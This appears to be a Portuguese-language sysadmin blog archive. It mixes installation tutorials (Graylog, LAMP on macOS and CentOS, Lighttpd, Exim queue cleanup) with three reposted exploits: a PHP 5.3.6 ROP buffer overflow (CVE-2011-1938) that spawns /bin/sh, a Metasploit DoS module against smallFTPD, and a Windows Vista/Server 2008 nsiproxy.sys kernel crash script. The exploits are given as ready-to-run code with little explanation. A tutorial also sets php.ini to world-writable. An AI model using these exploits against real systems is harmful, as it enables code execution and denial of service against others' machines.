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Tag: server

Instalando Graylog 2 no Debian 8

Instalando Graylog 2 no Debian 8

Nesse post veremos a instalação do Graylog 2. Mas o que é isso?! De forma resumida ele centraliza e armazena os logs da sua infraestrutura, possibilitando uma análise aprofundada, alarmes, notificações, histórico, gráficos e etc… isso tudo facilitando a sua vida ;)

Vamos começar a instalação, o ambiente utilizado foi:

Começamos adicionado repositório Backports do Debian, atualizando e fazendo upgrade em seguida reinicie o sistema.:

E instalamos alguns pré-requisitos adicionais:

O Graylog também faz uso do Java Headless, usamos o Backport:

Para o Graylog armazenar os logs, iremos instalar o MongoDB, para isso faça:

Instalaremos agora o Elastisearch, o Graylog na versão 2.x requer o Elastichsearch na versão 2.x para funcionar. Veja:

Finalizado a instalação do Elastisearch, vamos configura-lo:

Altere o seguinte parâmetro:

Após a instalação, vamos recarregar as configurações, habilitar o serviço e iniciar o Elasticsearch:

Agora faremos a instalação, configuração do Graylog 2:

Antes de iniciar o Graylog precisamos gerar duas senhas: Uma para o password_secret e outra para root_password_sha2, então rodaremos o seguinte comando

Como exemplo usaremos a senha boteco para password_secret e admin para root_password_sha2, que fica dessa forma:

Agora iremos copiar o hash gerado e iremos editar o arquivo de configuração /etc/graylog/server/server.conf. Vou reforçar aqui que essas senhas mostradas NÃO devem ser usadas em ambiente de produção, escolham senhas mais robustas!

Altere agora os seguintes parâmetros:

Observação: O IP informado acima é da minha VM, portanto rode o comando ifconfig para verificar qual seu IP e não deixe com endereço localhost 127.0.0.1.

Recarregue as configurações, habilite e inicie o serviço:

Pronto! Agora basta acessar em seu navegador http:<IP-Graylog:9000> e terá essa tela:

Acesse usando o usuário padrão admin e a senha que criamos anteriormente admin e verá a tela de boas vindas:

Com isso finalizamos a instalação do Graylog 2, nos próximos post faremos algumas configurações no próprio servidor e também em hosts linux e windows para enviarem seus logs ao Graylog 2. Até mais ;)

Referências:

http://docs.graylog.org/en/2.2/pages/installation/os/debian.html#

https://packages.debian.org/jessie/java-runtime-headless

Instalação Graylog 2 em Debian 8

Como deletar emails de uma conta específica no EXIM

Como deletar emails de uma conta específica no EXIM

Olá pessoal, seguindo nossa série de dicas vamos postar neste instante uma dica simples para os sysadmins, mas que é muito útil quando precisamos limpar dados desnecessários na fila de emails (tornando outros emails lentos).

Vamos lá, em primeira mão iremos simplificar o uso do comando com algumas informações:

Antes do pipe “|” percebemos que estamos pedindo os remetentes da fila de email, após o pipe estamos recebendo o argumento (email) e no último pipe estamos usando o xargs (comando que serve para receber a saída de um comando e aplicar outro), logo, recebemos a saída do comando como remetentes e estamos aplicando o comando do exim de remoção de mensagens. Citamos a conta root pois deletamos algumas notificações, mas no lugar de root poderia ser emaildousuá[email protected]

Há dicas na Web que recomendam aplicar frozen nos emails e depois remover todos os emails frozen, porém, remover emails congelados torna-se perigoso pois grande parte deles pode estar congelado pelo simples fato do servidor de destino ter apresentado alguma falha e em seguida será restabelecido para receber a nova tentativa de envio, removendo você tira toda chance disto acontecer.

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Se você está usando DEBIAN-BASED (mind/debian/ubuntu) e toda vez que roda o comando ddclient ele apresenta erro SEUS PROBLEMAS “SE ACABARAM-SE”!

Para sanar, como root faça o seguinte:

rm -rf /var/cache/ddclient/ddclient.cache

Depois rode o comando ddclient, a saída vai ser algo semelhante a:
SUCCESS:  updating SEUHOST.ALGUMACOISAg: good: IP address set to IPDASUAINTERFACEWEB

 

Abraços galera

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache
Abrindo o menu de sharing para apache
Clicando em compartilhamento de páginas web
Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x
como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)
baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1
passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x
como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache
manual do apache

 

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Como instalar php apache mysql phpmyadmin no Centos 6

Como instalar php apache mysql phpmyadmin no Centos 6

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6.

Vamos começar deixando tudo atualizado e corrigido:

[[email protected] ~]# yum clean all && yum update -y

Agora vamos instalar o mysql:

[[email protected] ~]# yum install mysql mysql-server -y

Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot:

[[email protected] ~]# chkconfig –levels 235 mysqld on

E em seguida iniciar o sistema de banco de dados:

[[email protected] ~]# /etc/init.d/mysqld start

Para setarmos as senhas de mysql devemos usar o seguinte comando:

[[email protected] ~]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Enter para confirmar que quer mudar a senha de root
New password: Coloque a nova senha de root
Re-enter new password: Confirme a nova senha de root
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Pressione Enter para invalidar acessos anônimos
… Success!

Normally, root should only be allowed to connect from ‘localhost’. This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Pressione Enter para Remover o acesso remoto ao banco de dados
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Pressione Enter para remover a base de dados de testes
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Pressione enter para que o flushprivileges opere imediatamente e valide as mudanças
… Success!

Cleaning up…

All done! If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

[[email protected] ~]#

Agora vamos instalar o apache com o seguinte comando:

[[email protected] ~]# yum install httpd -y

Agora devemos deixar o apache com a mesma essência de serviços do mysql, operando assim que o boot for realizado:

[[email protected] ~]# chkconfig –levels 235 httpd on

E para iniciarmos o bichão (apache):

[[email protected] ~]# /etc/init.d/httpd start

Se quisermos acessar o server para garantir que o mesmo está operando filé em nosso sistema operacional, caso o server esteja em rede podemos acessa-lo através de seu respectivo ip. Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1
Uma página do apache sob CentOs será exibida mostrando que tudo está filé.

Vamos agora instalar o php

[[email protected] ~]# yum install php

Devemos reiniciar o apache para garantir que a integração do interpretador esteja 100% eficaz:

[[email protected] ~]# /etc/init.d/httpd restart

Aonde fica o danado do path do php em meu sistema operacional Centos???
Calma, fique tranquilo, tudo está situado em /var/www/html, e para provar que sua instalação ficou filé faça o seguinte:
Nessa pasta crie um arquivo chamado index.php, abra-o com o vim ou crie-o com echo e dentro dele coloque uma instrução, veja o passo a passo:

[[email protected] ~]# echo "<?php phpinfo(); ?>" >> index.php

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/index.php

Deverão ser exibidas todas as extensões e variáveis globais predefinidas na instalação nesta página acessada.

Agora precisamos fazer com que o mysql esteja integrado com o php, para isso iremos rodar o seguinte comando:

[[email protected] ~]# yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc -y

E para garantir que tudo está filé e com integração perfeita com nosso container vamos rodar o seguinte:

[[email protected] ~]# /etc/init.d/httpd restart

Precisamos fechar com chave de ouro agora no ponto de instalação fo phpmyadmin.
Para isto devemos fazer o seguinte-> Instalar o repositório RPMForge que é simplesmente punk e em seguida instalar os pacotes vindouros dele. Vamos por a mão na massa?

[[email protected] ~]# rpm –import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

Se seu sistema for 64 bits rode:

[[email protected] ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

Se seu sistema for 32 bits rode:

[[email protected] ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

Agora vamos instalar o phpmyadmin:

[[email protected] ~]# yum install phpmyadmin -y

Precisamos agora criar aliases para que o phpmyadmin seja acessível sem qualquer transtorno junto ao apache, para isto devemos mudar o seguinte conf-> /etc/httpd/conf.d/phpmyadmin.conf e devemos mudar o seguinte, comentar as linhas abaixo (caso não estejam comentadas):


E garantir que os aliases estejam conforme os abaixo dessa linha:

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

Feito isso devemos garantir que nosso phpmyadmin faça validação por HTTP e não por meio de cookies, devemos editar o seguinte conf /usr/share/phpmyadmin/config.inc.php e mudar a seguinte linha:

/* Authentication type */
$cfg[‘Servers’][$i][‘auth_type’] = ‘http’;

Em http fica cookie, troque cookie por http para evitar dor de cabeça.

Depois de salvar o arquivo faça com que tudo esteja validado reiniciando o apache:

[[email protected] ~]# /etc/init.d/httpd restart

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/phpmyadmin

Tudo ok?

Abraços e bons estudos.

Fontes:

Centos: http://centos.org/
Apache: http://apache.org
Mysql: http://mysql.com/
PhpMyadmin: http://www.phpmyadmin.net/home_page/index.php
PHP: http://www.php.net/
Linux: http://en.wikipedia.org/wiki/Linux
RPMForge: http://rpmrepo.net/RPMforge
How to forge: http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-centos-6.0-lamp

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

/*
** Jonathan Salwan - @shell_storm
** http://shell-storm.org
** 2011-06-04
**
** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938
**
** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
** code via a long pathname for a UNIX socket.
*/

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";
echo "[+] CVE-2011-1938\n\n";

# Gadgets in /usr/bin/php
define('DUMMY', "\x42\x42\x42\x42"); // padding
define('STACK', "\x20\xba\x74\x08"); // .data 0x46a0 0x874ba20
define('STACK4', "\x24\xba\x74\x08"); // STACK + 4
define('STACK8', "\x28\xba\x74\x08"); // STACK + 8
define('STACK12', "\x3c\xba\x74\x08"); // STACK + 12
define('INT_80', "\x27\xb6\x07\x08"); // 0x0807b627: int $0x80
define('INC_EAX', "\x66\x50\x0f\x08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX', "\x60\xb4\x09\x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D', "\x84\x3e\x12\x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP', "\xc7\x48\x06\x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A', "\x18\x45\x06\x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('MOV_DI_DX', "\x20\x26\x07\x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
define('POP_EDI', "\x23\x26\x07\x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX', "\x0f\x4d\x21\x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('XOR_ECX', "\xe3\x3b\x1f\x08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

$padd = str_repeat("A", 196);

$payload = POP_EDI. // pop %edi
STACK. // 0x874ba20
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"//bi". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK4. // 0x874ba24
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"n/sh". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK8. // 0x874ba28
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
MOV_A_D. // mov %eax,(%edx)
XOR_ECX. // xor %ecx,%ecx
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
POP_EBX. // pop %ebx
STACK. // 0x874ba20
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INT_80; // int $0x80

$evil = $padd.$payload;

$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $evil);
?>

Fonte: http://www.exploit-db.com/exploits/17486/

Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

Exploit para dos no SmallFTPD:

# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service

# Date: June 27, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://smallftpd.sf.net
# Version: 1.0.3-fix and earlier
# Tested on: windows xp, seven, 2k3
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'smallFTPD Connection Saturation Remote Denial of Service',
'Description' => %q{
This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTP requests, which can be verified only through a valid login.
},
'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:  $',
'References' =>
[
[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
],
'DisclosureDate' => 'June 2010'))
register_options(
[
Opt::RPORT(21)
],self.class)
end
def run
print_status("Sending DOS Packets ...")
35.times do |x|
connect
sock.put("USER CRASHED\r\n")
disconnect
end
print_good("Done")
end

end

 

Fonte: http://www.exploit-db.com/exploits/17455/

Lighttpd php5 mysql no Ubuntu 11.04

Lighttpd php5 mysql no Ubuntu 11.04

Lighttpd é verdadeiramente uma bala no que tange a containers web. Muitas pessoas gostam dele (segundo a mídia até o Youtube já amou esse negócio), por isso estaremos indo direto ao assunto, vamos instalar essa bala no Ubuntu 11.04?

Temos que ter poder de root para fazer o negócio rodar (use sudo su ou su -, sendo su – melhor pois dá autoridade global):

apt-get update &&

apt-get install mysql-server mysql-client -y

Fazendo isto estaremos instalando o mysql server e seu client (inclusive no pacote vem a ferramenta replace, muito boa para substituir termos em um arquivo [depois falamos de utilitários em outro artigo]).

No momento seguinte o sistema vai pedir que você defina a senha de root:

New password for the MySQL … : Informe a senha de root
Repeat password for the MySQL …: Confirme novamente a senha

Vamos instalar o Lighttpd agora!

apt-get install lighttpd -y

Presumindo que você possui um ip setado a este pc (qualquer ip, se for por dhcp use ifconfig e veja o ip da sua eth0 ou ethX [sendo X ponto variável, podendo ser 1 para interface real secundária e assim por diante]) 10.0.0.1, abra o navegador e digite 10.0.0.1, deverá ser exibido um arquivo pedindo substituição de conteúdo, aonde o document root (pasta principal da web) fica em /var/www e o arquivo de configuração /etc/lighttpd/lighttpd.conf. As configurações extras ficam em /etc/lighttpd/conf-available . Se futuramente ativamos módulos extras podemos usar lighttpd-enable-mod para ativa-los. Os links simbólicos de comandos ficam em /etc/lighttpd/conf-enabled, mas o filé mesmo para edições e customizações é /etc/lighttpd/conf-available.

Hora de meter o php5 em modo fastcgi!

Vamos lá:

apt-get install php5-cgi

 

Para que tudo fique validado precisamos arrumar o esquema. Vamos editar o conf:

vim /etc/php5/cgi/php.ini

Devemos procurar pela linha:

e mudar seu conteúdo para:

Agora vamos ativar o módulo do php (claro que instalamos o mesmo para ser instância separada,  mas é um módulo):

lighttpd-enable-mod fastcgi

lighttpd-enable-mod fastcgi-php

Vamos conferir os links simbólicos paragarantir que tudo está ok entre os arquivos /etc/lighttpd/conf-enabled/10-fastcgi.conf , /etc/lighttpd/conf-available/10-fastcgi.conf,/etc/lighttpd/conf-enabled/15-fastcgi-php.conf e /etc/lighttpd/conf-available/15-fastcgi-php.conf :

ls -l /etc/lighttpd/conf-enabled

[email protected]:~# ls -l /etc/lighttpd/conf-enabled
total 0
lrwxrwxrwx 1 root root 77 2011-05-25 7:46 10-fastcgi.conf -> ../conf-available/10-fastcgi.conf
lrwxrwxrwx 1 root root 78 2011-05-25 7:46 15-fastcgi-php.conf -> ../conf-available/15-fastcgi-php.conf
[email protected]:~#

Vamos dar aquele reload sarado:

/etc/init.d/lighttpd force-reload

Vamos testar nosso sistema de containers?

vim /var/www/testes.php

Dentro dele colocarmos assim:

<?php

phpinfo();

?>

A abriremos o browser para ver se aparece a info do php com esse endereço: http://10.0.0.1/testes.php

Vamos dar suporte ao php para que o bichão possa usar o mysql sem stress?

apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Para validar todo o bando de mudanças façamos assim:

/etc/init.d/lighttpd restart

E para reconferir http://10.0.0.1/testes.php em seu navegador.

Thanks Guys!

;)

 

Nossas fontes:

 

Ubuntu alert USN-1158-1 (curl) CURL vulnerabilidade

Ubuntu alert USN-1158-1 (curl) CURL vulnerabilidade

Ubuntu alert USN-1158-1 (curl)

Windows 2008 server exploit DOS

Windows 2008 server exploit DOS

#!/usr/bin/python

############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
SYM_NAME = "\\\\.\\Nsi"
dwReturn = c_ulong()
out_buff = ''
in_buff = ("\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00"
"\x38\xfa\x78\x00\x0c\x00\x00\x00")
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)

dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

 

E o fim do filme é:

2008
2008

Fonte: http://www.exploit-db.com/exploits/17305/